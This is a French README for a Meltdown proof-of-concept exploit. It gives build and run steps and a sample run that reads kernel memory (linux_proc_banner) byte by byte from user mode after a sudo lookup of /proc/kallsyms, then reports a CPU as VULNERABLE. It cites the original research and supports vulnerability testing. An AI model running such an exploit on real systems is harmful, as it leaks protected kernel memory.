
Preuve de concept de l'exploit Meltdown
Les optimisations spéculatives exécutent du code de manière non sécurisée, laissant des traces de données dans la microarchitecture comme le cache.
Lipp et al. 2018 ont publié leur code le 09/01/2018 sur https://github.com/IAIK/meltdown. Consultez leur article pour plus de détails : https://meltdownattack.com/meltdown.pdf.
Ne peut pour l'instant que dump linux_proc_banner, car nécessite que la mémoire accédée soit dans le cache et linux_proc_banner est mis en cache à chaque lecture de /proc/version. Pourrait fonctionner avec prefetch. Fonctionne avec sched_yield.
Compiler avec make, exécuter avec ./run.sh.
Ne peut pas encore contourner KASLR, vous devrez donc peut-être entrer votre mot de passe pour trouver linux_proc_banner dans /proc/kallsyms (ou le faire manuellement).
L'approche Flush+Reload et tableau cible est tirée de l'article sur Spectre https://spectreattack.com/spectre.pdf implémentée en suivant les indices de https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
La boîte de Pandore est ouverte.
Jetez un œil à l'exploit complet qui fonctionne avec la version d'IAIK sur ma machine.
Result:
$ make
cc -O2 -msse2 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk
/linux_proc_banner/ {
if (strtonum("0x"$1))
print $1;
exit 0;
} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3499.316
cache size : 6144 KB
physical id : 0
La liste des CPU/Noyaux vulnérables a été déplacée ici : https://github.com/paboldin/meltdown-exploit/issues/19
La liste des CPU/Noyaux invulnérables a été déplacée ici : https://github.com/paboldin/meltdown-exploit/issues/22